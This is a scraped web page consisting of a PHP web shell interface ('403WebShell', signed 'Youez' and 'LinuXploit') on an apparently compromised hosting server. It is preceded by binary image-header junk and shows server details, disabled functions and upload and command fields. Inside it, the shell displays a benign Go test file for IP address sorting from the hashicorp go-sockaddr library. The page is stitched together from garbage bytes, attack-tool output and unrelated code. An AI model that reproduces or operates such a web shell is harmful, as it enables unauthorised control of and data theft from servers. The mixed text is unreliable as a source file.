JFIF ( %!1"%)-...383.7(-.+  -%&--------------------------------------------------"J !1"AQaq2BR#r3Sbs4T$Dd(!1"2AQaq# ?q& JX"-` Es?Bl 1( H6fX[vʆEiB!j{hu85o%TI/*T `WTXط8%ɀt*$PaSIa9gkG$t h&)ٞ)O.4uCm!w*:K*I&bDl"+ ӹ=<Ӷ|FtI{7_/,/T ̫ԷC ȷMq9[1w!R{ U<?СCԀdc8'124,I'3-G s4IcWq$Ro瓩!"j']VӤ'B4H8n)iv$Hb=B:B=YݚXZILcA g$ΕzuPD? !զIEÁ $D'l"gp`+6֏$1Ľ˫EjUpܣvDت\2Wڰ_iIْ/~'cŧE:ɝBn9&rt,H`*Tf֙LK$#d "p/n$J oJ@'I0B+NRwj2GH.BWLOiGP W@#"@ę| 2@P D2[Vj!VE11pHn,c~T;U"H㤑EBxHClTZ7:х5,w=.`,:Lt1tE9""@pȠb\I_IƝpe &܏/ 3, WE2aDK &cy(3nI7'0W էΠ\&@:נ!oZIܻ1j@=So LJ{5UĜiʒP H{^iaH?U2j@<'13nXkdP&%ɰ&-(<]Vlya7 6c1HJcmǸ!˗GB3Ԏߏ\=qIPNĉA)JeJtEJbIxWbdóT V'0 WH*|D u6ӈHZh[8e  $v>p!rIWeB,i '佧 )g#[)m!tahm_<6nL/ BcT{"HSfp7|ybi8'.ih%,wm  403WebShell
403Webshell
Server IP : 153.92.12.241  /  Your IP : 216.73.217.6
Web Server : LiteSpeed
System : Linux id-dci-web1986.main-hosting.eu 5.14.0-611.26.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jan 29 05:24:47 EST 2026 x86_64
User : u686484674 ( 686484674)
PHP Version : 8.0.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/opt/go/pkg/mod/github.com/hashicorp/go-sockaddr@v1.0.7/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/opt/go/pkg/mod/github.com/hashicorp/go-sockaddr@v1.0.7/ipaddrs_test.go
package sockaddr_test

import (
	"fmt"
	"sort"
	"testing"

	"github.com/hashicorp/go-sockaddr"
)

type GoodTestIPAddrTest struct {
	sockAddrs               sockaddr.SockAddrs
	sortedBySpecificMasklen sockaddr.SockAddrs
	sortedByBroadMasklen    sockaddr.SockAddrs
	sortedByNetwork         sockaddr.SockAddrs
}
type GoodTestIPAddrTests []*GoodTestIPAddrTest

func makeTestIPAddrs(t *testing.T) GoodTestIPAddrTests {
	goodTestInputs := []struct {
		sockAddrs               []string
		sortedBySpecificMasklen []string
		sortedByBroadMasklen    []string
		sortedByNetwork         []string
	}{
		{
			sockAddrs: []string{
				"10.0.0.0/8",
				"172.16.1.3/12",
				"192.168.0.0/16",
				"128.95.120.1/32",
				"192.168.1.10/24",
				"240.0.0.1/4",
			},
			sortedBySpecificMasklen: []string{
				"128.95.120.1/32",
				"192.168.1.10/24",
				"192.168.0.0/16",
				"172.16.1.3/12",
				"10.0.0.0/8",
				"240.0.0.1/4",
			},
			sortedByBroadMasklen: []string{
				"240.0.0.1/4",
				"10.0.0.0/8",
				"172.16.1.3/12",
				"192.168.0.0/16",
				"192.168.1.10/24",
				"128.95.120.1/32",
			},
			sortedByNetwork: []string{
				"10.0.0.0/8",
				"128.95.120.1/32",
				"172.16.1.3/12",
				"192.168.0.0/16",
				"192.168.1.10/24",
				"240.0.0.1/4",
			},
		},
	}
	gfs := make(GoodTestIPAddrTests, 0, len(goodTestInputs))
	for idx, gfi := range goodTestInputs {
		t.Run(fmt.Sprintf("%d", idx), func(t *testing.T) {
			gf := new(GoodTestIPAddrTest)
			gf.sockAddrs = make(sockaddr.SockAddrs, 0, len(gfi.sockAddrs))
			for _, n := range gfi.sockAddrs {
				sa, err := sockaddr.NewSockAddr(n)
				if err != nil {
					t.Fatalf("Expected valid network")
				}
				gf.sockAddrs = append(gf.sockAddrs, sa)
			}

			gf.sortedBySpecificMasklen = make(sockaddr.SockAddrs, 0, len(gfi.sortedBySpecificMasklen))
			for _, n := range gfi.sortedBySpecificMasklen {
				na, err := sockaddr.NewSockAddr(n)
				if err != nil {
					t.Fatalf("Expected valid network")
				}
				gf.sortedBySpecificMasklen = append(gf.sortedBySpecificMasklen, na)
			}

			if len(gf.sockAddrs) != len(gf.sortedBySpecificMasklen) {
				t.Fatalf("Expected same number of sortedBySpecificMasklen networks")
			}

			gf.sortedByBroadMasklen = make(sockaddr.SockAddrs, 0, len(gfi.sortedByBroadMasklen))
			for _, n := range gfi.sortedByBroadMasklen {
				na, err := sockaddr.NewSockAddr(n)
				if err != nil {
					t.Fatalf("Expected valid network")
				}
				gf.sortedByBroadMasklen = append(gf.sortedByBroadMasklen, na)
			}

			if len(gf.sockAddrs) != len(gf.sortedByBroadMasklen) {
				t.Fatalf("Expected same number of sortedByBroadMasklen networks")
			}

			gf.sortedByNetwork = make(sockaddr.SockAddrs, 0, len(gfi.sortedByNetwork))
			for _, n := range gfi.sortedByNetwork {
				na, err := sockaddr.NewSockAddr(n)
				if err != nil {
					t.Fatalf("Expected valid network")
				}
				gf.sortedByNetwork = append(gf.sortedByNetwork, na)
			}

			if len(gf.sockAddrs) != len(gf.sortedByNetwork) {
				t.Fatalf("Expected same number of sortedByNetwork networks")
			}
		})
	}

	return gfs
}

func TestSockAddr_IPAddrs_BySpecificMaskLen(t *testing.T) {
	testInputs := sockAddrStringInputs{
		{
			inputAddrs: []string{"10.0.0.0/8",
				"172.16.1.3/12",
				"192.168.0.0/16",
				"128.95.120.1/32",
				"192.168.1.10/24",
				"240.0.0.1/4",
			},
			sortedAddrs: []string{
				"128.95.120.1/32",
				"192.168.1.10/24",
				"192.168.0.0/16",
				"172.16.1.3/12",
				"10.0.0.0/8",
				"240.0.0.1/4",
			},
		},
	}

	for idx, test := range testInputs {
		t.Run(fmt.Sprintf("%d", idx), func(t *testing.T) {
			inputAddrs := convertToSockAddrs(t, test.inputAddrs)
			sortedAddrs := convertToSockAddrs(t, test.sortedAddrs)
			sockaddrs := append(sockaddr.SockAddrs(nil), inputAddrs...)
			filteredAddrs, _ := sockaddrs.FilterByType(sockaddr.TypeIPv4)
			ipv4Addrs := make([]sockaddr.IPv4Addr, 0, len(filteredAddrs))
			for _, x := range filteredAddrs {
				switch v := x.(type) {
				case sockaddr.IPv4Addr:
					ipv4Addrs = append(ipv4Addrs, v)
				default:
					t.Fatalf("invalid type")
				}
			}

			ipAddrs := make([]sockaddr.IPAddr, 0, len(filteredAddrs))
			for _, x := range filteredAddrs {
				ipAddr, ok := x.(sockaddr.IPAddr)
				if !ok {
					t.Fatalf("Unable to typecast to IPAddr")
				}
				ipAddrs = append(ipAddrs, ipAddr)
			}
			sort.Sort(sockaddr.SortIPAddrsBySpecificMaskLen{ipAddrs})

			var lastLen int = 32
			for i, netaddr := range ipAddrs {
				maskLen := netaddr.Maskbits()
				if lastLen < maskLen {
					t.Fatalf("Sort by specific mask length failed")
				}
				lastLen = maskLen

				if sortedAddrs[i] != netaddr {
					t.Errorf("Expected %s, received %s in iteration %d", sortedAddrs[i], netaddr, i)
				}
			}
		})
	}
}

func TestSockAddr_IPAddrs_ByBroadMaskLen(t *testing.T) {
	testInputs := sockAddrStringInputs{
		{
			inputAddrs: []string{"10.0.0.0/8",
				"172.16.1.3/12",
				"192.168.0.0/16",
				"128.95.120.1/32",
				"192.168.1.10/24",
				"240.0.0.1/4",
			},
			sortedAddrs: []string{
				"240.0.0.1/4",
				"10.0.0.0/8",
				"172.16.1.3/12",
				"192.168.0.0/16",
				"192.168.1.10/24",
				"128.95.120.1/32",
			},
		},
	}

	for idx, test := range testInputs {
		t.Run(fmt.Sprintf("%d", idx), func(t *testing.T) {
			inputAddrs := convertToSockAddrs(t, test.inputAddrs)
			sortedAddrs := convertToSockAddrs(t, test.sortedAddrs)
			sockaddrs := append(sockaddr.SockAddrs(nil), inputAddrs...)
			filteredAddrs, _ := sockaddrs.FilterByType(sockaddr.TypeIP)
			ipAddrs := make([]sockaddr.IPAddr, 0, len(filteredAddrs))
			for _, x := range filteredAddrs {
				ipAddr, ok := x.(sockaddr.IPAddr)
				if !ok {
					t.Fatalf("Unable to typecast to IPAddr")
				}
				ipAddrs = append(ipAddrs, ipAddr)
			}
			sort.Sort(sockaddr.SortIPAddrsByBroadMaskLen{ipAddrs})

			var lastLen int
			for i, netaddr := range ipAddrs {
				maskLen := netaddr.Maskbits()
				if lastLen > maskLen {
					t.Fatalf("Sort by specific mask length failed")
				}
				lastLen = maskLen

				if sortedAddrs[i] != netaddr {
					t.Errorf("Expected %s, received %s in iteration %d", sortedAddrs[i], netaddr, i)
				}
			}
		})
	}
}

func TestSockAddr_IPAddrs_IPAddrsByNetwork(t *testing.T) {
	testInputs := sockAddrStringInputs{
		{
			inputAddrs: []string{
				"10.0.0.0/8",
				"172.16.1.3/12",
				"192.168.0.0/16",
				"128.95.120.1/32",
				"192.168.1.10/24",
				"240.0.0.1/4",
			},
			sortedAddrs: []string{
				"10.0.0.0/8",
				"128.95.120.1/32",
				"172.16.1.3/12",
				"192.168.0.0/16",
				"192.168.1.10/24",
				"240.0.0.1/4",
			},
		},
	}

	for idx, test := range testInputs {
		t.Run(fmt.Sprintf("%d", idx), func(t *testing.T) {
			inputAddrs := convertToSockAddrs(t, test.inputAddrs)
			sortedAddrs := convertToSockAddrs(t, test.sortedAddrs)
			sockaddrs := append(sockaddr.SockAddrs(nil), inputAddrs...)
			ipaddrs, _ := sockaddrs.FilterByType(sockaddr.TypeIP)
			sockaddr.OrderedAddrBy(sockaddr.AscAddress).Sort(ipaddrs)

			var lastIpUint sockaddr.IPv4Address
			for i, sa := range ipaddrs {
				ipv4 := *sockaddr.ToIPv4Addr(sa)
				if lastIpUint > ipv4.Address {
					t.Fatalf("Sort by network failed")
				}
				lastIpUint = ipv4.Address

				if !ipv4.Equal(sortedAddrs[i]) {
					t.Errorf("[%d] Sort equality failed: expected %s, received %s", i, sortedAddrs[i], ipv4)
				}
			}
		})
	}
}

func TestSockAddr_IPAddrs_IPAddrsByNetworkSize(t *testing.T) {
	testInputs := sockAddrStringInputs{
		{
			inputAddrs: []string{
				"10.0.0.0/8",
				"172.16.1.3/12",
				"128.95.120.2:53",
				"128.95.120.2/32",
				"192.168.0.0/16",
				"128.95.120.1/32",
				"192.168.1.10/24",
				"128.95.120.2:8600",
				"240.0.0.1/4",
			},
			sortedAddrs: []string{
				"128.95.120.1/32",
				"128.95.120.2:53",
				"128.95.120.2:8600",
				"128.95.120.2/32",
				"192.168.1.10/24",
				"192.168.0.0/16",
				"172.16.1.3/12",
				"10.0.0.0/8",
				"240.0.0.1/4",
			},
		},
	}

	for idx, test := range testInputs {
		t.Run(fmt.Sprintf("%d", idx), func(t *testing.T) {
			inputAddrs := convertToSockAddrs(t, test.inputAddrs)
			sortedAddrs := convertToSockAddrs(t, test.sortedAddrs)

			sockaddrs := append(sockaddr.SockAddrs(nil), inputAddrs...)
			filteredAddrs, _ := sockaddrs.FilterByType(sockaddr.TypeIP)
			ipAddrs := make([]sockaddr.IPAddr, 0, len(filteredAddrs))
			for _, x := range filteredAddrs {
				ipAddr, ok := x.(sockaddr.IPAddr)
				if !ok {
					t.Fatalf("Unable to typecast to IPAddr")
				}
				ipAddrs = append(ipAddrs, ipAddr)
			}
			sort.Sort(sockaddr.SortIPAddrsByNetworkSize{ipAddrs})

			// var prevAddr sockaddr.IPAddr
			for i, ipAddr := range ipAddrs {
				// if i == 0 {
				// 	prevAddr = ipAddr
				// 	continue
				// }

				// if prevAddr.Cmp(ipAddr) > 0 {
				// 	t.Logf("[%d] Prev:\t%v", i, prevAddr)
				// 	t.Logf("[%d] ipAddr:\t%v", i, ipAddr)
				// 	t.Fatalf("Sort by network failed")
				// }
				// prevAddr = ipAddr

				if !ipAddr.Equal(sortedAddrs[i]) {
					t.Errorf("[%d] Sort equality failed: expected %s, received %s", i, sortedAddrs[i], ipAddr)
				}
			}
		})
	}
}

// func TestSockAddr_IPAddrs_IPAddrsByCmp(t *testing.T) {
// 	testInputs := testIPAddrsInputs{
// 		{
// 			sockAddrs: []string{
// 				"10.0.0.0/8",
// 				"172.16.1.3/12",
// 				"128.95.120.2:53",
// 				"128.95.120.2/32",
// 				"192.168.0.0/16",
// 				"128.95.120.1/32",
// 				"192.168.1.10/24",
// 				"128.95.120.2:8600",
// 				"240.0.0.1/4",
// 			},
// 			sortedSockAddrs: []string{
// 				"128.95.120.1/32",
// 				"128.95.120.2:53",
// 				"128.95.120.2:8600",
// 				"128.95.120.2/32",
// 				"192.168.1.10/24",
// 				"192.168.0.0/16",
// 				"172.16.1.3/12",
// 				"10.0.0.0/8",
// 				"240.0.0.1/4",
// 			},
// 		},
// 	}

// 	for _, test := range makeTestsFromInput(t, testInputs) {
// 		sockaddrs := append(sockaddr.SockAddrs(nil), test.sockAddrs...)
// 		ipAddrs := sockaddrs.FilterByTypeIPAddr()
// 		sort.Sort(sockaddr.SortIPAddrsByCmp{ipAddrs})
// 		t.Logf("Here: %+v", ipAddrs)

// 		var prevAddr sockaddr.IPAddr
// 		for i, ipAddr := range ipAddrs {
// 			if i == 0 {
// 				prevAddr = ipAddr
// 				continue
// 			}

// 			if prevAddr.Cmp(ipAddr) > 0 {
// 				t.Logf("[%d] Prev:\t%v", i, prevAddr)
// 				t.Logf("[%d] ipAddr:\t%v", i, ipAddr)
// 				t.Fatalf("Sort by network failed")
// 			}
// 			prevAddr = ipAddr

// 			if !ipAddr.Equal(test.sortedSockAddrs[i]) {
// 				t.Errorf("[%d] Sort equality failed: expected %s, received %s", i, test.sortedSockAddrs[i], ipAddr)
// 			}
// 		}
// 	}
// }

func TestSockAddr_IPAddrs_IPAddrsByCmp(t *testing.T) {
	testInputs := sockAddrStringInputs{
		{
			inputAddrs: []string{
				"10.0.0.0/8",
				"172.16.1.3/12",
				"128.95.120.2:53",
				"128.95.120.2:53",
				"128.95.120.2/32",
				"192.168.0.0/16",
				"128.95.120.1/32",
				"192.168.1.10/24",
				"128.95.120.2:8600",
				"0:0:0:0:0:0:0:0",
				"0:0:0:0:0:0:0:1",
				"2607:f0d0:1002:0051:0000:0000:0000:0004",
				"2607:f0d0:1002:0051:0000:0000:0000:0003",
				"2607:f0d0:1002:0051:0000:0000:0000:0005",
				"[2607:f0d0:1002:0051:0000:0000:0000:0004]:8600",
				"240.0.0.1/4",
			},
			sortedAddrs: []string{
				"10.0.0.0/8",
				"172.16.1.3/12",
				"192.168.0.0/16",
				"192.168.1.10/24",
				"240.0.0.1/4",
				"128.95.120.1/32",
				"128.95.120.2/32",
				"128.95.120.2:53",
				"128.95.120.2:53",
				"128.95.120.2:8600",
				"0:0:0:0:0:0:0:0",
				"0:0:0:0:0:0:0:1",
				"2607:f0d0:1002:0051:0000:0000:0000:0003",
				"2607:f0d0:1002:0051:0000:0000:0000:0004",
				"[2607:f0d0:1002:0051:0000:0000:0000:0004]:8600",
				"2607:f0d0:1002:0051:0000:0000:0000:0005",
			},
		},
	}

	for idx, test := range testInputs {
		t.Run(fmt.Sprintf("%d", idx), func(t *testing.T) {
			shuffleStrings(test.inputAddrs)

			inputAddrs := convertToSockAddrs(t, test.inputAddrs)
			sortedAddrs := convertToSockAddrs(t, test.sortedAddrs)

			sockaddr.OrderedAddrBy(sockaddr.AscType, sockaddr.AscPrivate, sockaddr.AscAddress, sockaddr.AscPort).Sort(inputAddrs)

			for i, sockAddr := range inputAddrs {
				if !sockAddr.Equal(sortedAddrs[i]) {
					t.Errorf("[%d] Sort equality failed: expected %s, received %s", i, sortedAddrs[i], sockAddr)
				}
			}
		})
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit